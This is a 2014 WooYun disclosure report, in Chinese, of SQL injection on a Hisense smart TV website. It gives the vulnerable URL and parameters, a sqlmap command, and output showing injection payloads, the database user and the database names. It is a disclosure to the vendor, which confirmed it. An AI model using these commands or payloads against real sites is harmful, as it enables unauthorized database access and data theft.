当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-085238

漏洞标题:海信某站存在SQL注入

相关厂商:hisense.com

漏洞作者: sunding

提交时间:2014-12-01 12:14

修复时间:2015-01-15 12:16

公开时间:2015-01-15 12:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-01: 细节已通知厂商并且等待厂商处理中
2014-12-01: 厂商已经确认,细节仅向厂商公开
2014-12-11: 细节向核心白帽子及相关领域专家公开
2014-12-21: 细节向普通白帽子公开
2014-12-31: 细节向实习白帽子公开
2015-01-15: 细节向公众公开

简要描述:

海信某站存在SQL注入

详细说明:

www.hismarttv.com/getTopicAppById.jhtml?deviceCode=1&deviceType=003&topicId=9000005114762
注入点deviceCode和topicId
sqlmap.py -u "www.hismarttv.com/getTopicAppById.jhtml?deviceCode=1&deviceType=003&topicId=9000005114762" -p "topicId" --dbs --current-user --current-db
sqlmap identified the following injection points with a total of 38 HTTP(s) requ
ests:
---
Place: GET
Parameter: topicId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: deviceCode=1&deviceType=003&topicId=9000005114762 AND 2974=2974
Type: UNION query
Title: MySQL UNION query (NULL) - 5 columns
Payload: deviceCode=1&deviceType=003&topicId=9000005114762 LIMIT 1,1 UNION A
LL SELECT NULL, CONCAT(0x3a6662783a,0x5a6e4f58466878655a54,0x3a6775793a), NULL,
NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: deviceCode=1&deviceType=003&topicId=9000005114762 AND SLEEP(5)
---
[14:20:35] [INFO] the back-end DBMS is MySQL
web application technology: JSP, Apache 2.2.15
back-end DBMS: MySQL 5.0.11
[14:20:35] [INFO] fetching current user
current user: 'hitv@%'
[14:20:35] [INFO] fetching current database
current database: 'asop'
[14:20:35] [INFO] fetching database names
[14:20:36] [INFO] the SQL query used returns 8 entries
[14:20:36] [INFO] retrieved: "information_schema"
[14:20:36] [INFO] retrieved: "asop"
[14:20:36] [INFO] retrieved: "backup"
[14:20:36] [INFO] retrieved: "hitv"
[14:20:37] [INFO] retrieved: "#mysql50#lost+found"
[14:20:37] [INFO] retrieved: "mysql"
[14:20:37] [INFO] retrieved: "performance_schema"
[14:20:37] [INFO] retrieved: "test"
available databases [8]:
[*] #mysql50#lost+found
[*] asop
[*] backup
[*] hitv
[*] information_schema
[*] mysql
[*] performance_schema
[*] test

漏洞证明:

已证明

修复方案:

过滤特殊字符

版权声明:转载请注明来源 sunding@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-12-01 13:33

厂商回复:

感谢您的安全报告,我们已安排专人进行跟踪修复。

最新状态:

暂无


漏洞评价:

评论